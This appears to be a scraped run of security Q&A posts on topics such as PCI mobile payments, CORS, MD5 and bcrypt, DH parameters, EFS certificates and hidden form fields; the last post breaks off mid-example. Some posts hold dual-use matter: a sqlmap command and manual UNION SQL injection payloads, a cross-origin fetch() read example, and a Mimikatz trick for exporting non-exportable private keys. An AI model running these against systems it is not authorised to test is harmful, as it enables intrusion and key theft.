Secure Mobile Payments using HTTPS Web App I'm hoping an expert with PCI compliance knowledge can help answer this question.

We're looking at integrating mobile payments with our application which is HTML5-based for cross-platform reasons. After considering native apps, Square, and others, we're considering simply inserting an HTTPS page that is pulled directly from a payment gateway (like Beanstream). This is to allow our customers to accept a credit card payment while our company is hands-off any sensitive data.

Can anyone elaborate the security risks? For instance, what is the risk of keylogging on an iPhone or Android device?

Thanks.

Is the HTML5 application loaded in a mobile browser or using WebView Canvas.   Browsers acts as a sandbox, but an HTML 5 App opened using WebView no longer has the same security, but it can be made most secure by following some of the guidelines listed in the link below.

http://www.acsac.org/2011/openconf/modules/request.php?module=oc_program&action=view.php&a=&id=111&type=2&OPENCONF=e319837c671fd746a922ba2662e19fca

Some of the highlights:

All the pages you load in the webview should be from a source you
agree to trust.  So loading a facebook page or a forum page or
similar page is not secure.
Only load trusted page in webview. For
all others open in web browser
Make sure the HTML 5 app has minimal
permissions (don't allow access to camera or contacts in the phone
unless absolutely needed).
Don't load a any page in your app which
has advertisements unless you are willing to trust them, which I
think you should not for an app which accepts payment.  Even if the
ad was served on one of your previous page and not on the payment
page (enter credit cards),  the WebView model in Android and iPhone
allows access across content of multiple pages...(see the link for
detailed explaination).

Bottomline:  The app should only load pages in webview which you absolutely trust.

I check the PCI compliance docs, there is no current explicit guidelines for how to accept PCI data in a Mobile application and they are working on creating a guidelines for it (as of Dec, 2011).  Until then, follow as much of PCI guidelines as possible like never store private data on the phone and others.

I hope the above was helpful.  I have been searching doe PCI compliance guideline for HTML 5 app opened in WebView for the last 3-4 days.

Thanks,


Is AES feasible for secure hashing files? There was already a similar topic "Why AES is not used for secure hashing, instead of SHA-x?", but it was not about files specifically, and I, personally, am not convinced by the answers in it. "AES is not designed for this job" is not an answer.

What bothers me with those answers is, that they theoreticize about how AES is a different kind of algorithm and is not suited for the job, but nobody put forth actual cases - as in, "the suggested implementation would be cracked with this procedure". I hope they were talking in general, and that file hashing may be a different story.

An important fact must be taken into account: all of today's cryptographically secure hash algorithms are slow. Best implementations of SHA-256 are achieving a couple hundred megabytes per second at most. They have an inherent crippling property, that they cannot be computed in parallel - the input data sequence cannot be split.

Today's IO systems are already faster than the fastest single thread consumer hardware can calculate these hashes at. This means that these algorithms have become the bottleneck, and it only goes down from here, because single thread performance is not showing any serious progress anymore (for several CPU generations), whereas IO is becoming faster quickly (thanks to SSD drives and RAM disks, which finally started to push forward the long-stagnating platter drive speeds).

The biggest advantage of AES hash is that we have hardware implementations for it and that AES hash can be designed to enable parallelism.

Let's take a look at a simple scheme:
AES256(DATA_BLOCK_0 XOR COUNTER_0) XOR AES256(DATA_BLOCK_1 XOR COUNTER_1) XOR ...

Last data block is padded with zeros.
The AES key is known and preset. Another option is to use the data block as the key each time and to encrypt only the counter - I don't know right now if this can have bad impact on speed, as the key needs to change for every block. If there is no serious impact, it may be the better choice.

Anyway, the given scheme is massively parallelizable and can push 2.5 gigabytes per second on a modern quad-core with hardware AES acceleration. It will also scale perfectly in the future, which is more and more CPU cores.

AES hash is to be used because of speed, and it's primary purpose is to hash files, and not to initialize private keys and stuff like that. That is best left to 'real' secure hash algorithms, I agree.

Now for some analysis.

As far as detecting random errors goes, I see no problem with the above given scheme. It should mix well and react randomly for any change.

We do not need to worry about someone reverse-calculating the original data from the hash. File hashes are always distributed with their files, and their purpose is not to obscure the original data. Their purpose is to guarantee (with reasonable probability) that data has not changed, that it is an unmodified file. Hashes of private files should not be made public in either case - even with algorithms such as SHA-256.

The problematic part can only be an intelligent attack which attempts to modify the file in such a way that hash would not change. In the simplest scenario, I believe that an attacker modifies a part of one block to achieve some goal. After that, he needs to modify any one (or more) block, which is deemed unimportant, in such a way that it will produce a known hash - one that it will XOR with the first modified block hash so that the difference will be eliminated and the final hash will remain the same.

Let's leave aside the case of attacker adding data to file, as that can be easily detected and is probably not easier to calculate anyway.

I'm looking at the simple scheme above, and to me it seems that attacker has to search a 2^256 space in order to find the appropriate input, which is about the same as cracking AES. And that space is simply too big.

Now, can someone explain what procedure would enable the described attack?

Thanks.

Here's the file that describes our records at the First Bank of Craptology. It's a simple format with fixed-width records: a 16-byte user name and a 16-byte balance.

user37442_______0000000099999999
Gilles__________0000000000000042

Under your proposal (if I've read it correctly, your statement is not very precise), its hash is AES[K](your_name ⊗ (C + 0)) ⊗ AES[K](your_balance ⊗ (C + 1)) ⊗ AES[K](my_name ⊗ (C + 2)) ⊗ AES[K](my_balance ⊗ (C + 3)) where C is the initial counter value and K is some key. Here's another file with the same hash, assuming that C is a multiple of 4:

user37442_______0000000000000040
Gilles__________0000000099999997

So you have a cryptographic scheme that you can't break? Big deal. Your task is to come up with a scheme that nobody can break.

I'm sure that you can come up with a simple modification of your scheme that would make my counter-example fail. Quite possibly if you set your mind to it you'll be able to find a scheme that I can't break. But I'm not a cryptographer.

If you want to be taken seriously, then:

Understand what you're talking about. Read up on what defines a cryptographic hash. What you're looking for here is weaker than a hash — a cryptographic hash must have preimage resistance. Ok, there may be a point in a weaker primitive, but you need to be clearer about what you're attempting to do. Define your security problem properly.
Work seriously on attacking your own scheme. Don't just handwave that “it should mix well and react randomly”. Read up on how other people's schemes have been broken and try the same techniques against your proposal.
Once you have something that you can't break — and that you've seriously tried to break — publish it.
Wait until years have passed and many professional cryptographers have attempted to attacks your scheme and they have all failed. At that point, your scheme can be given serious consideration for use in applications.

On the specific topic of using AES-based algorithms for hashing, here's a bit of reading:

Why have hashes when you have MACs?
Authenticated Encryption vs. contained and encrypted checksum/hash?

Having a CPU that can keep up with an IO system isn't that big a deal in most applications. Usually the IO system is used by several instances in parallel anyway.


RSA and Psuedorandom Number Generator I want to give a presentation on school about RSA encryption and decryption. I understand the basic of calculating a public and private key with two small prime numbers. And how to use those keys to encode and decode a simple message.

After demonstrating the above i want to briefly talk about security,since it's a very large and complex subject. As far as my understanding, 2048 keys are safe, even for NSA. Everybody has heard about the news that NSA can(could) read e-mails, etc.. I red that they build a backdoor in the DUAL_EC_DRBG PRNG (Psuedorandom Number Generator) that is(was?) used by allot of company's, like RSA.

They can predict the outcome of those random number. But what does that have to do with the encryption and decryption of RSA? That is based on multiplying two massively large prime numbers, which company's can choose for them self?

What am i missing here, i hope someone can point me onto the right track?

Thanks!

Nobody uses RSA to directly encrypt data transmitted over http (web) or SMTP (email). 2048 bit RSA would only allow you to encrypt 245 bytes at a time, and each such operation is expensive.

Protocols get one of the parties or both parties together to generate a new random number that is long enough to be unguessable and unique. 128 bits are enough, though TLS uses more. Then they use this number as a symmetric encryption key (technically, seed for KDF), which allows them to quickly encrypt a lot of data.

If the CSPRNG is backdoor-ed, adversary can predict the shared secret key. If the shared key is not secret, you completely break the security.

If one of the parties generated the shared secret key, they must transmit it to the other party, in a way that is immune to eavesdropping. A simple way is to encrypt the shared secret key using the recipient's public key. PGP does this, and older SSL/TLS did this.

A problem with transmitting the shared random secret key encrypted with the recipient's public key is that if you get your hands on the recipient's private key, maybe years later when they no longer use this keypair, you can decrypt previously recorded ciphertexts. So a junked hard drive with the private key for a long ago expired TLS server certificate would allow e.g. the NSA to decrypt years of old traffic.

Newer protocols demand use of better scheme: Diffie Hellman to establish an anonymous shared secret, and digital signatures to prove other party is who they say they are.

In modern protocols, RSA is only used for signing and verifying signatures.

Note: You may have read an explanation of RSA signatures as a kind of encryption. It is a very bad explanation, don't use it.

Note that textbook RSA is insecure and must not be used. You must use secure padding schemes for RSA encryption and for RSA signatures. The padding schemes for the two use cases have different goals and are different. Mixing them up is insecure.

Note that old TLS used pkcs#1v1.5, it's now considered insecure, use RSASSA-PSS instead.

As you've noticed implementing RSA securely is difficult, modern recommendation is to use better cryptographic primitives, like those in libsodium (or better yet, libsodium itself).


View previously executed commands and sent packets One of my friends has recently found malicious activity on his device. He hasn't lost anything monetary yet, but he has been getting password recovery requests sent to his email from all the various sites on which he uses his email to login. My friend has changed all his passwords and backup his data, and I have cutoff the device's network access and lent him one of my own machines.
I would like to study the extent to which his device has been compromised and what his computer has done on behalf of the attacker.
With some work I was able to find what looks like a Java Generic RAT, and was able to track what site he downloaded the RAT from. Based on the trojan's download date, I can deduce for how long the trojan has been active. The RAT has installed a keylogger and mouselogger on his device, and some of the keylogs and mouselogs are still stored in files on the device. They logs were sent via a simple HTTP connection to the attacker. I assume these have already been compromised, and there could be even more keylogs that were automatically deleted by the logger after being received by the attacker.
My questions are the following:

Is there any way in Windows to determine a list of all executables/jars/commands that were issued from the time the trojan was downloaded to the time we disabled it? I would like to see exactly what was done on the machine on behalf of the Trojan. I could also do this by examining the trojan's source code more carefully, but this would be a time-consuming process, especially because of how well obfuscated the trojan is.

Is there a way to view the raw HTTP packets that were downloaded/uploaded on behalf of this Trojan during its activity? If these packets happen to be unencrypted, then I should be able to use these to figure out exactly what has been compromised. Does Windows/JVM store this sort of thing somewhere?

The answer to your first part of the question is only if the device had those activity logs enabled. And the trojan would probably have deleted or disabled those logs.
And the answer to the second part is only if your friend had network traffic logging enabled somewhere on the device or network. Logging on the device would probably have been disabled by the trojan anyway, so look to their network logs.
In summary - almost certainly a no, but use the Event Viewer to check on the device, just in case logging was enabled.


CORS Exploitation and POC How do I exploit an application returning headers as the following

Access-Control-Allow-Origin: *

What exact information do we get if the following is set to *

To make it concise, If an application has an authenticated page with the Access-Control-Allow-Origin set to *, is the information accessible without authentication.

The Access-Control-Allow-Origin response header indicates whether the response can be shared with resources with the given origin.

(From MDN)

When the server sends Access-Control-Allow-Origin: *, it allows any origin to access the resource in a cross-origin request. But the extent to which this is exploitable varies.

Let's say, you're logged in for online banking at https://yourbank.example/ and the site sets the ACAO header. At the same time, you're visiting an attacker-controlled site in another tab. Now, the attacker's site could load a script which issues a cross-origin request to your online banking dashboard in the background, along the lines of:

fetch('https://yourbank.example/').then(r => r.text()).then(console.log)

In that case your browser would reveal your view of https://yourbank.example/ to the attacker. However, this isn't helpful, because your browser doesn't include authentication details (i.e., the session cookies) in the request by default. So all the attacker gets is your unauthenticated view of your bank's website.

Even if the site also sends Access-Control-Allow-Credentials: true (where the attacker can usually call fetch() with {credentials: 'include'} to read the response of an authenticated cross-origin request) you're out of luck because allow-credentials has no effect when ACAO is set to wildcard (*).

So, with ACAO: * alone, you're left with less likely attack scenarios. For example, it would work on an intranet site or router interface which displays confidential information even without authentication but isn't directly accessible to the attacker. (In that case it may also be vulnerable to DNS rebinding.)


Custom post data JSON payload format in sqlmap? I want to perform SQL injection but I don't know how to use the command. So far, I have tried this:

--data="{'user_id':'6','user_with:5*'}" --prefix=" OR user_to = 5)" --suffix="#" -vvv`

I use ' instead of " in parameter because sqlmap post data should be in --data="paramter goes here" format.

But last verbose show:

{'user_id':'6','\'user_with:5 OR user_to = 5) UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#''}

It should be:

{'user_id':'6','user_with:5 OR user_to = 5) UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#'}

Here is my manual way:

{"user_id":"6","user_with":"5"} -> return normal
{"user_id":"6","user_with":"5'"} -> return `You have an error...`
{"user_id":"6","user_with":"5 OR user_to = 5) union select version(),2,3,4,5,6#"} -> return dump data

So how to perform what I want in sqlmap?

sqlmap automatically detects the json payload and tries to inject so instead of the above mentioned payload like:-

--data="{'user_id':'6','user_with:5*'}" --prefix=" OR user_to = 5)" --suffix="#" -vvv`

use the following payload:-

--data="{\"user_id\":\"6\",\"user_with:5\"}" --prefix=" OR user_to = 5)" --suffix="#" -vvv`

you need not use ' instead of " to use json parameter with sqlmap just escape is enough.


Should public access to specific filenames and -types be denied preventively? Is it a good idea to preventively disable (public) access to certain filetypes (by extension) and/or by filenames:

in the server configuration (in case of a shared hosting server) or,
as a rewrite rule for a website or web application?

For example filenames like:

readme
changelog
debug
errors
phpinfo

Or the following file extensions in combination with above filenames: php, log, html, htm, txt, doc, docx, rtf and possibly more and without any file extension.

And denying access to specific file extensions completely like: svn, git, sh, bat, cmd, sql, ini, config, conf, bak, backup and old.

Is it a good idea to do so? In order to prevent information leakage when those file are (accidentally) moved into a public folder.

On the web servers I run, I deny access to any type of server log files and sensitive files that contain web app configuration details such as WordPress's wp-config.php file

However, if you're running a website, denying access to PHP, HTML, CSS, in addition to some other file types would render your website unusable since browsers need to access those files in order to properly display your website.

Additionally, I would look into correctly setting file permissions for your files to ensure that only proper users have access to view, edit, and move them.

Finally, I would recommend whitelisting file types instead of blacklisting them because generally, there will be less room for error and it won't take up a lot of space in your .htaccess file or server blocks.

Whitelist File Types in Apache

Whitelist File Types in Nginx


How safe is md5sum in regards to verifying executable files? is it possible to trick someone into running a malicious executable file instead of a real one provided by a website; assuming they will md5sum the file

The comments cover an important aspect about MD5 collisions, but I'll give a little more food for thought (and the math to back it up) as I think there is a little misunderstanding in this area, especially around pre-image attacks.

  is it possible to trick someone into running a malicious executable file instead of a real one provided by a website; assuming they will md5sum the file

Yes-ish. Here are two methods of vastly different feasibilities.

Feasible: Compromise website security. Once done, upload the new executable and modify the posted hash on the website. The feasibility is dependent on the security of the website.
Intractable: Send target a malicious executable that hashes to the same posted hash. Take a malicious executable, then start padding the executable with data, then hash the result until the MD5 hash of the malicious executable is the same as the legitimate executable. Note, MD5 has found to not be collision resistant, but it is still fairly 1st and 2nd preimage resistant (forest had a great explanation on this here).

Assumptions for 2:

The fastest 2st preimage attack on MD5 whittles down the number of combinations to 2^123.4 (according to this paper). This means that if I compute 9.7... × 10^36 hashes, I will have a 50% chance of finding the desired output hash (see math 1).
We are hashing the smallest possible malicious program at 13 bytes (unlikely and very conservative) and I'm assuming my padding will be 16 bytes (this gives me enough room to combine all possible combinations) for a total hashing of 29 bytes for each program.
An 8 Nvidia 1080 GPU setup can hash 2x10^11 "29 byte files" per second (a little aggressive).

This means using an 8 Nvidia 1080 GPU setup, it'll take 1.5x10^26 or 150000000000000000000000000 years to have a 50% chance of developing a malicious program that hashes to the desired target hash (under the current assumptions - see math 2).

Hopefully this gives you a sense of the numbers that it would take to "spoof" an MD5 checksum. And yes, the numbers are even more ridiculous with SHA256.

Reference:

Math 1 (solve for x in 1 - ((2^123.4 - 1)/2^123.4)^x = 0.5. The x is the number of programs you need to hash to have a 50% chance of hashing to a desired target hash):

Math 2 (by units I mean 29 byte files or the number of hashes that must be performed):


Email "FROM address" is changed to an unexpected email address I have enabled DMARC settings in my domain (drkotzi.org). Now when I send emails from my email address (sales@drkotzi.org) to email lists or email groups, I can see that the email's from address and to address become identical. can someone please tell me why this is happening? because of this sometimes my emails are now being sent into spam directory also.

but when I remove DMARC settings from drkotzi.org, everything goes back to normal and I can send emails to email groups without any problems.

TL;DR: This is probably a feature of the mailing list to prevent DMARC from failing.
It is well known that DMARC does not survive DMARC+SPF on mailing lists, as to prevent SPF tests from failing the list server must change the envelope sender to one from their own domain.
DMARC+DKIM might survive, if the message is both DKIM signed and the mailing list does not alter the message body. For e.g. legal reasons a mailing list might want to change the message body to contain some disclaimers or unsubscribe information. In order to get this kind of messages delivered one might create an implementation where also the From header gets rewritten. Also, not nearly everyone DKIM sign their messages, so this is quite a suitable workaround, although it is not following any standards.


Specify public key in a JWT header? There is a set of parties, each of whom have a public/private key. I have the public key for each of them.

These parties will send me JWTs signed with their private key. I do not know which party sent the JWT, so I need to check the JWT. If the signature matches for public key #1, I know it came from party #1.

I want a way to securely identify the party who sent the JWT.

The easiest but slowest way to do this is to check each public key until it matches.

The solution I have in mind involves matching the public key to the iss field of the JWT. I can sneak a look in the JWT, without verifying the signature, extract the iss claim, use that to decide which public key to use, and then use that to verify the signature.

I can't see any security holes in this approach, but needing two passes feels wrong. Is there a standard way to do this?

There are headers explicitly defined for this sort of thing in the JOSE standards. You can use

JWK which is the actual public key -- you just have to make sure they match what you have locally.
KID which is just an arbitrary identifier of the key -- you could use a thumbprint of the public key and just do a local lookup.

In the first case you want to be careful and not just rely on the presented key, but rather use it to look up a local key.


Applicability/Purpose of Malicious .dll Injected Into Browsers I am currently disassembling an instance of malware, of which, following a quick first pass, looks to be some augmented variant of ZueS. As I was quantitatively characterizing the targeting mechanics I came across the expression below. I'm simply looking for a confirmation of the code's inherent purpose(s).
The origins of the code below is a CnC-supplied malicious .dll, which is injected into msiexec.exe, and directly into browsers (?). To me it looks as if this injection into various browsers is solely for API hooking/interception, working to spy, and modify content (using specific WebInjects, etc).
Does this sound correct?

Thanks!

Banking malware like Zeus does something called WebInjects, basically it modifies webpages once they've been decrypted by the browser but before they've been displayed to the user. This functionality can be used to gain access to information the user wouldn't usually give, such as a mothers maiden name or pin.

Source.


What kind of bugs can be found by dumb fuzzing a desktop app? I'm just starting out to learn about fuzzing and have made a dumb fuzzer that changes several random bytes in a pdf file to random values, opens it and detects if Acrobat Reader has crashed. What types of bugs can I expect to find using such a method?

I assume that a format string vulnerability could be found in case the dumb fuzzer happens to inserts a format string parameter at the right place. I also assume that integer overflows could be found. But what else could be found?

Is it possible to find buffer overflows? Since I change only few random bytes, I assume that the chance of overflowing a buffer is actually small or none.  Or am I wrong?

Dumb fuzzing

I'm just starting out to learn about fuzzing and have made a dumb fuzzer that changes several random bytes in a pdf file to random values, opens it and detects if Acrobat Reader has crashed. What types of bugs can I expect to find using such a method?

None. Such "dumb" fuzzing has incredibly limited coverage. I would be extremely surprised if that application actually crashed just because a few bytes in the input randomly changed. This would be the case even if the fuzzer was trying millions of samples per second. However you also say that your fuzzer opens it and sees if it crashes. This would only get what, a few tries a second? A try every few seconds? Not even close to worth it.
The way some professional fuzzers work is spawning a process, pausing its memory state right before it is about to parse the target data (to skip the bootstrapping state), and then resume it. If it doesn't crash within several tens of milliseconds, it reverts it back to the paused state it was in before. This allows fuzzing at hundreds of times per second at the slowest, or tens of thousand at the fastest.

I assume that a format string vulnerability could be found in case the dumb fuzzer happens to inserts a format string parameter at the right place. I also assume that integer overflows could be found. But what else could be found?

This depends on how the parser works. Without having the Acrobat Reader source code, I couldn't even begin to answer this question. Buffer overflows, string format vulnerabilities, integer overflows, logic errors, etc. are all possible. You also have to be aware that not all vulnerabilities will be easy to discover, since some parts of the input may be protected with a checksum, complex magic number, or may be compressed.
Imagine you have a field protected with a simple checksum. The chances that random changes will result in a collision are quite low, since that is what the checksum is designed for, and as a result a vulnerable code path may never be taken. However an actual exploit could simply make sure the checksum is valid. This is a common issue with new users fuzzing the rar format. The entire file is covered with a checksum, so no matter how much naive fuzzing someone does, it will never crash. When the checksum code is removed, it turns out to be quite buggy and easy to crash. To avoid this issue, you have to understand the format and either remove the checksum code, or ensure your input always uses correct checksums.

Is it possible to find buffer overflows? Since I change only few random bytes, I assume that the chance of overflowing a buffer is actually small or none. Or am I wrong?

If you change a value that ends up specifying the size of a buffer, then even if you don't change the size of the buffer, it may still result in an overflow. For example, take a hypothetical memory contents here is some text17. This is composed of a buffer, here is some text, and a size, 17. A permutation that modifies the size so it is lower would result in the buffer overflowing once it is processed. Now it's not likely that Acrobat Reader has something this obvious, but a bug could hypothetically result in a similar outcome internally. I could imagine several possibilities.
Intelligent fuzzing
Professional fuzzers do not just throw random input at a program to see if it crashes. They modify the input in specific ways that are likely to result in changes in target behavior. The program is compiled with special code inserted that causes it to report its internal state to the fuzzer at each branch, allowing the fuzzer to know when a given input resulted in a different codepath being taken, even if its external behavior doesn't change. This is the technique used by AFL, one of the most popular general-purpose fuzzers. It is intelligent enough to create a valid JPEG file out of thin air, simply by examining the state of a JPEG decoder as it is feeding it input.
In order to write a fuzzer that finds real-life bugs, you would need to either use binary instrumentation like AFL with the ability to automatically analyze the format, or write an application-specific format-aware fuzzer (i.e. one that is deeply aware of the specifics of the PDF format, and is able to create permutations on a per-syntax keyword basis rather than a per-byte basis).


Is there any advantage of bcrypt over multiple iterations of SHA-x/MD5? I know that a good password hashing algorithm should be slow. MD5, SHA256, etc. are fast. So I've been adding multiple iterations of SHA-256 hashing to my web apps (around 50000). Getting the hash of a password takes about 150ms on my machine.

Is there any advantage of bcrypt over this approach?

Note: I know about salts and pepper. Let's not talk about this here.

Inserting the salt (yes, it must be talked about), and iterating the function at the same time, is a bit more tricky than what it usually appears. In particular, a hash function such as SHA-256 is not exactly a "random-oracle-like" function; it exhibits some internal structure. Any homemade construct could hit one of those fine details from which deadly weaknesses may emerge.

Making sure that you did it right is difficult, just like building any cryptographic algorithm. That's where bcrypt is better than any homemade construct: bcrypt has been published and in use and presumably inspected for flaws by many people over quite some time. This is basically the only hard measure of security that you can get in cryptography. The generic advice of "do not define your own algorithms" applies here too.


Ideal cryptocurrency digital signature What are the characteristics of the ideal digital signature for cryptocurrency transaction verification?

The reason I ask is because this answer about bitcoin signatures describes a potential vulnerability which makes this particular use of ECDSA sub-optimal with a possible solution in the comments.

I understand that the ideal characteristics may be currently impossible, such as being collisionless, or even worse forever contradictory but would like to know to understand this particular application of digital signatures.

The problem with ECDSA is not related to what is signed with ECDSA; the need for a thoroughly random k parameter for each signature applies regardless of whether the signature is for a crypto-currency or an email or a digital certificate or whatever.

ECDSA, as a digital signature scheme, is quite reasonable. It is efficient (faster than RSA), its signature are short (shorter than RSA), it has been studied for quite a long time. The need for randomness is an important issue, but solutions exist. In any case, it can be viewed as an implementation issue; and modern computers (including smartphones) have access to all the needed randomness. If only the code is written properly.


How to tell if an email is encrypted, or just corrupted? Ran a recovery program (Kroll Ontrack) on a Windows 7 PC and recovered many, many emails. Almost all of them open in my Windows 10 mail client (and Thunderbird), except for a handful from this March. They look like the image above, and even some are blank. These are not empty files, though, as they have file sizes ranging from a few KB to 16 MB. Incidentally, these are the most important emails. Is this a sign of a .eml being encrypted? Or is it something else? And all of the other emails have perfectly fine images, docs, PDFs, etc. Just these handful from March look like this.

I'm not asking how to decrypt these, I just want to know if a series of emails that look similar to this is a sign of them being encrypted in the first place.

They are standards for encryption of mails, notable S/MIME and PGP. There is defined how the encrypted message gets encapsulated so that the mail client knows that it is encrypted. These encapsulations have a very specific Content-Type headers or at least specific markers in the content, i.e. markers like

 -----BEGIN PGP MESSAGE-----

or Content-Type's like

  Content-Type: multipart/encrypted; protocol="application/pgp-encrypted";
  Content-Type: application/pkcs7-mime; name=smime.p7s

If you find any of these when looking at the source code of the message then the message is encrypted. If not then the message is probably corrupted. The source code of the message can be seen when opening the .eml file in notepad or similar or if you are using the appropriate function of the mail client (if there is such function).


What features should I look for in a Wifi card used for wifi snooping / penetration testing? I'm looking to purchase a wifi card to help me learn about wifi network penetration testing and other associated issues but I was wondering if there were any features of a wifi card I should look out to get the best in terms of ability. Or is there no real difference between the different models. The most important feature I can think of is sensitivity which is essential when it comes to picking up weak wifi signals from a distance.

There seem to be a lot of generic wifi PCI-E cards out there and most claim Windows compatibility but I use Kali Linux (the successor to Backtrack Linux) and so needs something that works with that with the minimum hassle.

If it makes any difference I run Kali Linux as a virtual machine under VMWare Workstation 10 on Windows 8.1 x86_64.

If you want to penetest a wifi. The wifi card would need to support monitor mode. However vmware uses it's own usb drivers so you might want to install kali to your hard drive or run it off a cd/usb. If you want to pick up weak signal's you need a card with high watt's and a good antenna www.alfa.com.tw has some high power wifi cards at a reasonable price.


OpenSSL - 2040 bit temporary key size, 2048 bit private key Recently, I had an OpenVAS scan report that a TLS connection to Postfix used a temporary key size of 2040 bits, instead of the 2048 bits that I have set for my key size, and I have perfect forward secrecy cipher suites enabled.

As part of that, I did some research on DH parameters, and according to this, I need to have my DH parameters and private key size set the same: https://www.keylength.com/en/4/

I can see now that I accidentally left my DH parameters set to 4096, while my private key is 2048 bits. Could that mismatch cause the issue with the temporary server key being too small? I'm regenerating my dh parameters now so that they match (and rescanning the server to see if it's reproducible), but want to know if there's anything else that could cause that.

There is no mathematical connection between the key exchange and the authentication part of the TLS handshake. TLS handshake just needs some way to do Diffie Hellman which is secure and some way to do end-point / counterparty authentication which is secure.

So you can do DHE with at least 2048bit group, or ECDHE with NIST P-256, or X25519 as the key exchange part, and you can do RSA with at least 2048bit key with PKCS#1 v1.5 padding or RSA-PSS padding, or ECDSA with NIST P-256, or in the future ed25519/ed448 as the authentication part. [1]

You are free to mix and match DHE with ECDSA, ECDHE with RSA, ECDHE and ECDSA with different curves, DHE and RSA with different number of bits, whatever.

Each algorithm has its own requirements for how to do it securely, as long as each part is secure you're good.

There is an argument that each part should match the strength of the others, as the weakest part will naturally be attacked so extra strength on the part which is not weakest is just wasted effort / resources (basically, don't invest in extremely strong door if you have paper walls).

So people say that if your TLS Record Protocol / bulk encryption have 128bit equivalent symmetric encryption and MAC (which is what you get with AES-128-GCM which is what you should be using), the key exchange and authentication should be about 128bit equivalent strength. This would be 256bit ECC (so exactly ECDHE and ECDSA with NIST P-256 or X25519 with Ed25519) or 3072bit RSA with DHE. But most people use 2048bit RSA (which is secure enough, though it is considered only 112bit symmetric equivalent). So you can use 2048bit DHE or 3072bit DHE. 4096bit DHE would be overkill, but would work.

Against the argument of matching algorithmic strength, I have to say that matching auth and key exchange strength is wrong because a certificate used only for auth needs only to stay unbroken until its date of expiry. Key exchange needs to stay unbroken as long as the confidentiality of the data needs to stay unbroken. So if 10 years from now the enemy can break your current certificate which is used only for auth, you don't really care because they can't MiTM your connections 10 years in the future using a certificate that by then has long expired. But if they can break the key exchange they can decrypt the data, and if the data needs to stay secret even 10 years from now, that's a problem. [2]

Thus, there is logic in making DHE stronger than the key of the certificate, and 3072bit DHE with only 2048bit RSA cert makes some sense, though most people don't need it.

In summary, use openssl dhparam 2048 to generate a file that postfix smtpd will use (configuration confusingly called smtpd_tls_dh1024_param_file). It's fine to use 2048, 3072 or 4096 here with any certificate. That command does take a while to finish, let it.

1 - You can even do PSK which is symmetric authentication instead of asymmetric authentication, but ~nobody does this. You can do RSA encryption to do both key exchange and auth, though you don't get forward secrecy so it's not allowed for HTTP/2 and in TLS 1.3 (and you shouldn't do this even when it's allowed).

2 - If you allow RSA key exchange that means the key for the certificate was used for key exchange and it needs to be kept safe for as long as data confidentiality matters, so no losing the keys for expired certificates on old hard drives you throw away. This is the argument for only support PFS cipher suites.


How To Recover EFS Cert From Backup? I made a backup of the old Win 7 Pro then did a clean install. But I forgot to export my EFS encryption certificate, so when after I restored the encrypted files from backup I could no longer access them. Up to here, no surprise.

I then researched and discovered that certs are stored in the C:\Users\username\AppData\Roaming\Microsoft\SystemCertificates\My\ folder. I went to that location in the backup and restored the Certificates and the Keys folders to the same location in the new install.

Now, when I open the EFS certificate manager (not the MMC cert manager) it asks me to select or create a personal certificate. I can browse thru all the old machine's certs (which now are available, since I restored the cert files from the old machine). I can select the certs that seem to be the personal certs (cert name is my username), but the EFS certificate manager does not allow me to use any of these certs: "cannot find the certificate and private key for decryption". One would imagine in the keys folder you'd find the private keys, and in the certs in the certificates folder. It IS, after all, reading certs from this location where I dropped the backup files - before I restored the backup, EFS certificate manager had no certs to display.

When I open the Certificate Manager MMC, I see the same dozens of certs brought in from the old machine via backup. To my surprise, when I click on each of those two certs certmgr tells me that I "have a private key that corresponds to this certificate". Great! But if I try to export these same certs it tells me that the associated private key could not be found (whatever, Windows!)

I wrote all of the above to ask this: WHERE from the backup do I retrieve the certs and private keys? These answers don't apply to my situation.

PS: Worst case scenario I know I can bring the old system back online from backup and export the cert. But I'm really trying to avoid doing this.

Maybe your restored files from the old machine have broken the link between EFS certificates and their associated private keys.
So, try to use Mimikatz 2.0 on the old machine http://blog.gentilkiwi.com/mimikatz/crypto#exportKeys with admin privilieges

using the crypto::exportKeys function, you can export the private keys (just pay attention to your ACL on the files)
using the crypto::patchcapi function, you can patch the Windows CryptoAPI provider loaded in mimikatz. Then, the « non exportables » private keys becomes « exportables » :)


When should I create and use my own CA? I was taking a look to one Docker tutorial in which is explained how to create and use our own CA for encrypting the communication between the Docker client and the daemon and immediately a couple of questions came to my mind: why not always use a CA certificate created by our own (for example, for https)? and when should we use our own CA certificate and when not?

In the context of ssl/tls a CAs main job is to assure the client that the server the client is connected to is the server the client intended to connect to. In some cases it may also be used to verify other things.

Understanding this and understanding your clients is key to understanding when you should create your own CA. You need to ask yourselves some questions.

Will your clients be using generic software or will they be using software you provide?
If it's generic software does it expect to use a system default list of CAs or does it expect an explicit CA to be configured?
Will your clients be on machines you manage?

Once you do this you can assess the pros and cons of using the public CA system or a private CA in your particular context.

Often you will have little choice. Take a public website for example, your clients are using generic software, on machines you don't control and which they will not be prepared to do special configuration of for your site. You have basically no choice but to use a widely recognized public CA.

At the other extreme take something like openvpn. It fully expects you to use your own private CA as a means of identification and access control. Trying to use it with a public CA just wouldn't reasonably work.

A middle ground might be a website for internal use only. Using your own CA here would bring advantages, you could issue certs for internal-only hostnames and you wouldn't be dependent on any external party to issue certs. However it would also bring disadvantages, you would have to install your own root in the main trusted root stores on clients. Getting your root cert into the trusted root stores on the clients may be a pain if you have unmanaged machines around. Having your cert in the trusted root stores would also mean it could be used for MITM attacks on your clients, so you would need to keep the root (and intermediate if applicable) certs under very close control.

Or moving to the software development side consider a program with an auto-update system that relies on tls for security (not a design I would recommend). If you use a public CA on the server and the operating systems default CA list on the client then anyone who can persuade a public CA to give them a cert for your domain can MITM your updates. On the other hand with a private CA the attacker would need to compromise your internal certification infrastructure.


Using hidden form fields to modify prices on a website I came across this question on cybrary about the attack to be used to modify prices on a website. First off, I'm assuming that by prices they mean prices of a product like on an E-Commerce website.(Please correct me if I'm wrong). The answer to this question is hidden form fields. I wonder how is that possible.

According to my knowledge, hidden form fields are an alternative for HTTP's stateless nature. They act as a session token, much like cookies do. How can one use hidden values to modify prices. In my opinion the answer should be SQL Injection as it can be used to modify the content of a database. Any idea?

According to my knowledge, hidden form fields are an alternative for HTTP's stateless nature. They act as a session token, much like cookies do. How can one use hidden values to modify prices?

Hidden form fields cause some data to be sent with a form. For example:

<form method="POST" action="/post_answer">
    <textarea name="answer"></textarea>
